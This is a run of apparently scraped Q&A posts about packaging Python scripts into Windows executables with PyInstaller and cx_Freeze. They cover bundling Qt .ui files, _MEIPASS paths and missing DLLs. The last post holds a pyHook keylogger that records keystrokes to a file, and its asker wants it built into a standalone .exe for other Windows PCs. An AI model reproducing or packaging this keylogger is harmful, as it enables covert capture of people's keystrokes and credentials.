I'm trying to export my .py script to .exe using PyInstaller, which has dependencies on .ui files which were created using Qt Designer.
I can confirm that my .py script works just fine when running it through PyCharm - I'm able to see the GUI I've created with the .ui files.
However, when I export my .py script to .exe and launch it, I recieve the following errors in the command line:
C:\Users\giranm>"C:\Users\giranm\PycharmProjects\PyQt Tutorial\dist\secSearch_demo.exe"
Traceback (most recent call last):
File "secSearch_demo.py", line 13, in <module>
File "site-packages\PyQt4\uic\__init__.py", line 208, in loadUiType
File "site-packages\PyQt4\uic\Compiler\compiler.py", line 140, in compileUi
File "site-packages\PyQt4\uic\uiparser.py", line 974, in parse
File "xml\etree\ElementTree.py", line 1186, in parse
File "xml\etree\ElementTree.py", line 587, in parse
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\giranm\\securitySearchForm.ui'
Failed to execute script secSearch_demo
For some reason, the .exe file is looking for the .ui file within the path - C:\Users\giranm\
However, having done some research already, I was told that I needed to use os.getcwd() and ensure that I have the full path in my script. Even with the code below, I still get errors trying to locate the .ui files.
PyInstaller: IOError: [Errno 2] No such file or directory:
# import relevant modules etc...
cwd = os.getcwd()
securitySearchForm = os.path.join(cwd, "securitySearchForm.ui")
popboxForm = os.path.join(cwd, "popbox.ui")
Ui_MainWindow, QtBaseClass = uic.loadUiType(securitySearchForm)
Ui_PopBox, QtSubClass = uic.loadUiType(popboxForm)
# remainder of code below.
I'm aware that one can convert .ui files to .py and import them into the main routine using pyuic4. However, I will be making multiple edits to the .ui files
and thus it is not feasible for me to keep converting them.
Is there anyway to fix this so that I can create a standalone .exe?
I'm fairly new to using PyQT4 and PyInstaller - any help would be much appreciated!
After scratching my head all weekend and looking further on SO, I managed to compile the standalone .exe as expected using the UI files.
Firstly, I defined the following function using this answer
Bundling data files with PyInstaller (--onefile)
# Define function to import external files when using PyInstaller.
def resource_path(relative_path):
""" Get absolute path to resource, works for dev and for PyInstaller """
try:
# PyInstaller creates a temp folder and stores path in _MEIPASS
base_path = sys._MEIPASS
except Exception:
base_path = os.path.abspath(".")
return os.path.join(base_path, relative_path)
Next I imported the .UI files using this function and variables for the required classes.
# Import .ui forms for the GUI using function resource_path()
securitySearchForm = resource_path("securitySearchForm.ui")
popboxForm = resource_path("popbox.ui")
Ui_MainWindow, QtBaseClass = uic.loadUiType(securitySearchForm)
Ui_PopBox, QtSubClass = uic.loadUiType(popboxForm)
I then had to create a resource file (.qrc) using Qt Designer and embed images/icons using this resource file. Once done, I used pyrcc4 to convert the .qrc file to .py file, which would be imported in the main script.
Terminal
C:\Users\giranm\PycharmProjects\PyQt Tutorial>pyrcc4 -py3 resources.qrc -o resources_rc.py
Python
import resources_rc
Once I have confirmed the main .py script works, I then created a .spec file using PyInstaller.
Terminal
C:\Users\giranm\PycharmProjects\PyQt Tutorial>pyi-makespec --noconsole --onefile secSearch_demo.py
As per PyInstaller's guide, I've added data files by modifying the above .spec file.
https://pythonhosted.org/PyInstaller/spec-files.html#adding-data-files
Finally, I then compiled the .exe using the .spec file from above.
You can simply use:
uic.loadUi(r'E:\Development\Python\your_ui.ui', self)
Use the full path, and use pyinstaller with standard arguments, and it works fine. The r prefix makes sure the backslashes are interpreted literally.
Another method, tested on Ubuntu 20.04 is to add the .ui file to the data section in the spec file. First generate a spec file with pyinstaller --onefile hello.py. Then update the spec file and run pyinstaller hello.spec.
a = Analysis(['hello.py'],
...
datas=[('mainwindow.ui', '.')],
...
The next step is to update the current directory in your Python file. To do this, the os.chdir(sys._MEIPASS) command has to be used. Wrap it in a try-catch for development use when _MEIPASS is not set.
import os
import sys
# Needed for Wayland applications
os.environ["QT_QPA_PLATFORM"] = "xcb"
# Change the current dir to the temporary one created by PyInstaller
try:
os.chdir(sys._MEIPASS)
print(sys._MEIPASS)
except:
pass
from PySide2.QtUiTools import QUiLoader
from PySide2.QtWidgets import QApplication
from PySide2.QtCore import QFile, QIODevice
if __name__ == "__main__":
app = QApplication(sys.argv)
ui_file_name = "mainwindow.ui"
ui_file = QFile(ui_file_name)
if not ui_file.open(QIODevice.ReadOnly):
print(f"Cannot open {ui_file_name}: {ui_file.errorString()}")
sys.exit(-1)
loader = QUiLoader()
window = loader.load(ui_file)
ui_file.close()
if not window:
print(loader.errorString())
sys.exit(-1)
window.show()
sys.exit(app.exec_())
I am trying to make a small Python app to share with non-developers to help automate a small task.
The problem is that the .exe gets generated, and throws a mkl_intel_thread.1.dll issue. I then found the .dll and pasted it in the same folder as the .exe. Now the .exe runs without error, but closes without doing anything.
The python script runs fine and prints these when run separately (as a python file).
I read a lot on similar issues and did try many things, but nothing seems to work. Could anyone help me out, please?
Python code (prints pandas version, and then reads a file to print the number of records) :
I have some additional imports as I want to test their dependency for the actual program where they are used.
import requests
from glob import glob
from bs4 import BeautifulSoup
import pandas as pd
from datetime import datetime
from time import sleep
def View_model():
print(pd.__version__)
sleep(10)
data = pd.read_csv('test_data.csv', sep=';')
data_cnt = len(data)
print("Total records : ", data_cnt)
sleep(10)
if __name__ == "__main__" :
print("started")
View_model()
print("completed")
sleep(10)
Pyinstaller .exe generation command(s) :
pyinstaller -F --hidden-import 'numpy' --hidden-import 'requests' --hidden-import 'glob' --hidden-import 'bs4' --hidden-import 'pandas' --hidden-import 'datetime' --hidden-import 'time' --add-data "test_data.csv;." check1.py
Am I doing something wrong in the process, or is it something non-obvious that is going wrong?
Appreciate any help/leads. Note that I have the .dll file in the same folder as the .exe (see below)
I am using Miniconda (conda 4.10.3) & have Python 3.9.7
I am using python 3.6 on Windows. I downloaded "cx_Freeze-4.3.3.win-amd64-py3.3" to make my "python script " to an exe file.
I managed to get an exe file under build folder but it doesn't work.
this is my code
#script file which I named scriptbutton.py.txt
print("hello")
And this is the code I am using for set-up script.(scriptsetup.py.txt)
import os.path
import sys
from cx_Freeze import setup, Executable
os.environ['TCL_LIBRARY'] = "C:\\LOCAL_TO_PYTHON\\Python35-32\\tcl\\tcl8.6"
os.environ['TK_LIBRARY'] = "C:\\LOCAL_TO_PYTHON\\Python35-32\\tcl\\tk8.6"
setup (name= 'scripting', version='3.1', description='make exe file',
executables= [Executable ("scriptbutton.py.txt", base="Win32GUI")])
this is the error message, when I double clicked on exe file.
Any help is appreciated.
Cheers
I tried to run a python code, say myfile.py (also tried to rename it as myfile.pyx) as follows:
import pyximport
pyximport.install(setup_args={"script_args":["--compiler=mingw32"]},
reload_support=True)
import myfile
myfile.mycode()
I am using PyCharm. The code seems to have run fine without any error and even gave me correct results on the Python Console within PyCharm.
However no pyd (or pxd) files were generated. How can I know if my code (myfile.mycode()) ran via Cython or via regular Python?
I am using Python 3.4, Cython 0.21.2.
Thanks
pyximport generates a temporary pyd file that is not in the working directory. You probably want to build a setup.py that looks something like:
from distutils.core import setup
from distutils.extension import Extension
from Cython.Distutils import build_ext
ext_modules = [Extension('myfile',
sources=['myfile.pyx'],
language='c++',
)]
setup(
name = 'myfile',
cmdclass = {'build_ext': build_ext},
ext_modules = ext_modules
)
which you can compile using:
python setup.py build_ext -i clean
I am trying to create a .exe version of a python keylogger program that I found on the internet, so it can be run on Windows pc's without python installed.
The code for the program as is follows:
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'C:\\important\\file.txt'
def Key_Press(Char):
logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG,format='%(message)s')
if Char.Ascii==27:
logging.log(10,'ESC')
elif Char.Ascii==8:
logging.log(10,'BACKSPACE'
else:
logging.log(10,chr(Char.Ascii))
if chr(Char.Ascii)=='¬':
exit()
return True
hm=pyHook.HookManager()
hm.KeyDown=Key_Press
hm.HookKeyboard()
pythoncom.PumpMessages()
After the .exe file has been created using the build function of cx_Freeze, the following error occurs in a separate error box when I run the file:
Cannot import traceback module
Exception: cannot import name MAXREPEAT
Original Exception: cannot import name MAXREPEAT
I don't have much knowledge of cx_Freeze at all, and would very much appreciate any help, as even when I have tried using simple programs such as a hello_world.py program, the .exe file doesn't appear to work.